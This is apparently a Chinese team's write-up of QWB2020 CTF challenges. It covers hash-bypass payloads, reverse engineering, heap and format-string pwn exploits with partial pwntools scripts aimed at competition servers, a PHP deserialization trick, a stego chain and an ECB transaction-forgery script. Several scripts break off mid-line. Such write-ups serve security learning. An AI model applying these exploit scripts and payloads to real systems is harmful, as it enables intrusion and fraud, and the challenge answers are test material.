Category - QWB2020

0x00 题目名称
操作内容:

如有脚本,请在贴脚本:

  1. python

flag值:
flag{Xp0int}

[强网先锋] Funhash

操作内容

第一层:0e相等即可,0e251288019
第二层:数组绕过,hash2[]=1&hash3[]=2
第三层:特定字符串md5绕过,构成恒真语句,ffifdyop
即:hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

flag

flag{y0u_w1ll_l1ke_h4sh}


1.全靠IDA远程动态调试肝,懵懵懂懂的做完了这道题。

        signal函数

  1. typedef void (*sighandler_t)(int);
  2. sighandler_t signal(int signum, sighandler_t handler);

第一个参数signum:指明了所要处理的信号类型  
第二个参数handler:描述了与信号关联的动作

这个程序会触发两种信号,一个是SIGTRAP,一个是SIGALRM。SIGTRAP是INT3引起的,SIGALRM是程序超时引起的。

int3如果传递给程序,程序的signal函数接受SIGTRAP信号,会运行handler函数,函数会设置data段的数据,不会陷入死循环。

也就是说,程序期望接收到自己代码段中的INT 3引起的SIGTRAP。并且SIGALRM不应该传递给程序,否则会直接退出。

设置IDA的debugger options,把SIGTRAP的处理方式设置成pass to application,并且遇到SIGALRM的时候,选择discard

 

2.0x408AD6为输入函数地址。

0x408DC2 附近调用了strchr,后面的大概在判断程序有没有输入。

0x409149附近调用了strlen,在0x409174与0x1c进行了比较,所以输入的长度为0x1c(28)


3.程序中有一大堆这种毫无意义的混淆代码。

4.从0x402D05 开始,有一系列的cmp和jz

 

[rbp-8]为程序输入的地址,例如图片的意思就是:s[1]*0x44b38+s[0]*0xFFFFE483==0x1C4C7D2

总共有28个这样的方程

解出来就好了(手动把这些方程抄下来...太累了...)

flag: flag{g0_Fuck_xx_5egm3nt_0bf}

 

 

 

 

1.虽然没看太懂,但是动态调试发现sub_10B0()为输入函数。

2.sub_12F0()对输入进行了处理:首先,对于每个字节,与一个数组进行循环异或,然后加上0x41。

其次,对于每4个字节,循环右移了8位。

 

最后再与下面3个数据进行比较

0x4F4243684E76495C65775554647C784C

0x78796974435A466D497D57664E44714C

0x4462655E57505C4F

需要注意字节序。(数据比较少,直接手动进行循环位移)

```

lst = [0x78,0x7c ,0x64 ,0x4c,0x55,0x77 ,0x65 ,0x54,0x49,0x76 ,0x4e ,0x5c,0x43,0x42 ,0x4f ,0x68,0x71,0x44 ,0x4e ,0x4c,0x57,0x7d ,0x49 ,0x66,0x46,0x5a ,0x43 ,0x6d,0x69,0x79 ,0x78 ,0x74,0x5c,0x50 ,0x57 ,0x4f,0x65,0x62 ,0x44 ,0x5e]

arr = [0x51,0x57,0x42,0x6C,0x6F,0x67,0x73]

for i in range(len(lst)):

lst[i] -= 0x41

lst[i] ^= arr[i%7]

for i in lst:

print(chr(i),end='')

```

脚本的输出为flag{QWB_water_problem_give_you_the_scor

猜了一下,提交成功。

flag:flag{QWB_water_problem_give_you_the_score}

 

 

64位程序,典型的菜单题。保护就开了NX,而且是运行在libc2.23的环境。

 

程序逻辑:

1、首先是输入name和motto,输入的内容先输入到栈中,再输入到堆中。这里在strcpy的时候没进行边界检查,因此当输入name的长度为0x18的时候,会连着后面的age的值一块复制到堆中,这里就能够覆盖下一个chunk头部的size。

 

2、addnote函数,该函数负责申请堆块,然后将堆的地址和申请的大小放在bss段中,位置恰好在存name和motto堆块地址的后面。最大能申请0x100的内存空间,因此大概猜测要用到fastbin attack。

 

 

3、shownote函数,打印通过addnote申请的堆的内容。没利用到这个函数。

 

 

4、deletenote函数,能够释放掉所申请的堆块。这里v1没有检查下边界,因此存在负数溢出。同时释放掉堆块后并没有将指针清0,存在UAF的漏洞。

 

 

5、editnote函数,向所申请的堆块中填入内容,中规中矩,这里没有漏洞点。

 

6、reset函数,再进行一次填入name、motto和age的操作,意味着能够改变堆块头的size字段,这里就能布置chunk overlap

 

 

7、check函数,打印name和motto合age的值。这里可以用来进行地址泄露。

 

 

思路:

因此漏洞利用的思路就很明确了。

1、分配4个堆块,chunk0申请0x80的大小,chunk1申请0x68的大小,这两个chunk用来布置chunk overlap。chunk3申请0x68的大小,chunk4申请0x68的大小,这两个chunk用来使delete函数能够free掉name和motto的chunk。

2、 通过deletenote的负数溢出将name和motto的chunk给释放掉,这是由于motto的chunk的大小为0x110,因此就会被放到unsortedbin中,然后用check函数就能够打印出main_arean的地址。

3、将chunk1给释放了,因此它会加入fastbin。通过reset函数将chunk0的头改为0x100,再申请一个0x100的chunk,这是就会把这个大小为0x100的连续内存地址(覆盖了chunk1)取出。

4、通过editnote函数将chunk1中的fd字段给改成malloc_hook上方的地址,再分配2个0x70的chunk,这

64位程序,保护全开

 

程序逻辑:

1、循环,每次要输入Hey Siri!才能进入功能函数。

2、其中漏洞函数是这个sub_1212函数,这里存在格式化字符串漏洞。

 

思路:

a、首先用该漏洞泄露出栈和libc的地址。

前一个是libc上的地址,为__libc_start_main+231的地址。(这里我一直用libc2.23的环境来调,但是libc2.23和libc2.27的环境有些不一样,在libc2.23的环境中,这里是__libc_start_main+240,所以调了好久。)

后一个为上一个栈帧的rbp的值。

 

b、用该漏洞来向返回地址中填入one_gadget。但是因为这里用了sprintf来将输入的内容拷贝到s中,所以会发生”\x00”阶段,因此得多次向返回地址写地址,这里选择写在main函数存返回地址的地方。这部分的脚本写的有点丑,需要执行多几次。

 

c、然后需要跳出循环,才能够执行one_gadget。这里我选择修改sub_1212函数的返回地址,

可以看出返回地址是0x4c结尾的。写完后就成功getshelll了

我们需要执行到的地址是以0xc1结尾的,因此只需要改掉最后一个字节即可。


 

 完整代码:

from pwn import *

context.clear(arch = 'amd64')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

#p = process("./Siri")
p = remote("123.56.170.202", 12124)
elf = ELF("./Siri")

#gdb.attach(p)

def Siri():
	p.sendlineafter(">>> ", "Hey Siri!")

exp = "Remind me to bbbbb"
Siri()
p.sendlineafter(">>> ", exp + "%83$p" + "%46$p")
p.recvuntil("bbbbb")

libc = int(p.recv(14), 16)
stack = int(p.recv(14), 16)
libc_base = libc - (0x21ab0 + 231)
rip_addr = stack + 0x8
one = l

64位程序,保护没怎么开。

 

程序逻辑:

1、首先是菜单界面

 

2、进入功能函数,首先定义一个局部变量,这个是关键。

a、leave_name函数,往bss写入4个字节

 

b、leave_message函数,有个溢出,溢出8字节,可以改变返回rbp的值

 

c、show函数,打印name和message,没用到。

 

3、思路:

通过leave_name函数,往bss段(0x6010d0)写入一个0x100的数。

通过leave_message函数的溢出,将旧栈帧的rbp改成(0x6010d0+4),

然后根据偏移,每次在进入leave_message函数前,v1的值都会变成0x100

然后就用ret2libc进行getshell,用puts函数打印出puts函数的真实地址,然后算出one_gadget的地址,最后再把one_gadget填入返回地址。

 

完整脚本:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
#p = process("./babymessage")
p = remote("123.56.170.202", 21342)
elf = ELF("./babymessage")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def choice(idx):
 p.sendlineafter("choice:", str(idx))
#gdb.attach(p)
choice(1)
p.sendafter("name:", p32(0x100))
choice(2)
p.sendafter("message:", "a"*8 + p64(0x6010d0+4))
exp = "a" * 8 + p64(0x6010d4) + p64(0x400ac3) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40091a)
choice(2)
p.sendafter("message:", exp)
p.recvuntil("done!\n\n")
leak = u64(p.recv(6).ljust(8, "\x00"))
print hex(lea

看到代码

  1. global $result;
  2. print $result;
  3. 还有
  4. global $$a;
  5. $result=$GLOBALS['flag'];

首先是要global $result 才有机会输出

但是 ob_end_clean();这个的存在清除缓冲区,导致输出不了,所以思路下一步就是绕过这个

  1. <?php
  2. ob_start();
  3. print "1";
  4. ob_start();
  5. print "2";
  6. ob_end_clean();
  7. exit();

这个发现可以正常输出1 ,这就是只清除了第二个ob_start()的缓冲区,而print "1" 则因为exit() 导致的不正常退出,而输出缓冲区内的1

开始思路是想办法连续进行两次read(),然后再exit()就可以,但是好像没办法,这样.而造成不正常退出只要php崩溃直接结束或者在__destruct的时候造成异常导致ob_end_clean()不执行也可以做到,

这里想得是用__destruct执行完read()后导致的异常而让 ob_end_clean()不执行,

所以就只能定位到了 global $$a 这里了,

需要寻找一个特殊的值变成全局变量后会出错

发现只要 global $this就可以让后面的ob_end_clean() 不执行

所以先global $$a $a等于result,然后 再global $$a $a等于"this" ,就可以了

生成序列化脚本:

  1. <?php
  2. $flag=file_get_contents('ssrf.php');
  3. class Pass
  4. {
  5. public $tmp;
  6. function read()
  7. {
  8. ob_start();
  9. global $result;
  10. print $result;
  11. }
  12. }
  13. class User
  14. {
  15. public $age,$sex,$num;
  16. function __destruct()
  17. {
  18. $student = $this->ag

[强网先锋] miscstudy

操作内容

1.流量包查看http,访问网站http://39.99.247.28/fonts/1获取
2.将网站密文日志写入文件,解密流量包的加密流量,发现新的png,最底下很多base64加密密文,解密获取flag
title
title
3.上一步文件底下还有很多base64,解密后为三位二进制代码,全部提取长度为3600,可以转成二维码。(脚本在下面)
title
扫码的到新的地址,下载是新的图片。判断为jphide隐写,steghide爆破密码为power123,使用jphs解密,得到flag和新地址
title
4.扫码的到新的地址,下载一个压缩包里面很多内容,level5.png无法直接提取,但是可以直接foremost出来。
title
5.level6.zip里面三个文件,但是都很小,考虑直接crc碰撞。碰撞成功得到flag。(脚本在下面)
6.level5.zip中有1.png,而且level7.zip中也有,考虑明文攻击。7zip普通压缩一下1.png然后就能跑出来解密的压缩包。
title
两张图片,一张很大一张很小,考虑盲水印,但是python2跑脚本跑不出来,必须使用python3才能跑出来。
title
7.上一步的到网址访问。直接下载html发现有多余数据,考虑html隐写(snow)。
title
网页中有提示,密码为括号内内容no one can find me,网站http://fog.misty.com/cgi/snow解密
title
8.最终拼接7部分为flag

脚本

二维码

  1. #coding=utf-8
  2. from PIL import Image
  3. x = 60 #x坐标 通过对txt里的行数进行整数分解
  4. y = 60 #y坐标 x * y = 行数
  5. pic = Image.new("RGB",(x, y))
  6. data = "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111000

[强网先锋] bank

操作内容

工作量证明,很简单,脚本直接爆破
1000钱可以买flag
流程:
1.随便一个账号先转账给先前注册了的账号,得到密文,因为是ecb加密,且直接拼接密文,可以获得本账户的身份密文。
2.查看交易记录,提取交易记录到账用户和金额的密文。伪造交易记录进行交易,将其他用户的钱转到自己帐户
3.买flag
title

脚本

  1. from pwn import *
  2. import string
  3. from hashlib import *
  4. from time import *
  5. #context(log_level="debug")
  6. seed = string.printable
  7. def aaa(head,tail):
  8. #print head,tail
  9. st1 = string.printable
  10. for i in st1:
  11. for j in st1:
  12. for k in st1:
  13. tmp = i + j + k
  14. shaaa = sha256(tmp+head)
  15. #print shaaa.hexdigest(),tail
  16. if shaaa.hexdigest() == tail:
  17. return tmp
  18. p = remote('39.101.134.52',8005)
  19. sha = p.recvuntil('XXX:').split("\n")[0]
  20. tmp1 = sha.find('+')
  21. tmp2 = sha.find(' ')
  22. head = sha[tmp1+1:tmp2-1]
  23. mid = sha[tmp2:]
  24. tail = mid[mid.find("=")+3:]
  25. result = aaa(head.strip(),tail.strip())
  26. #print result
  27. p.sendline(result)
  28. sleep(0.2)
  29. p.recv()
  30. p.sendline('icq1d32a79f249369198eafd015dee55
    Page 1 of 2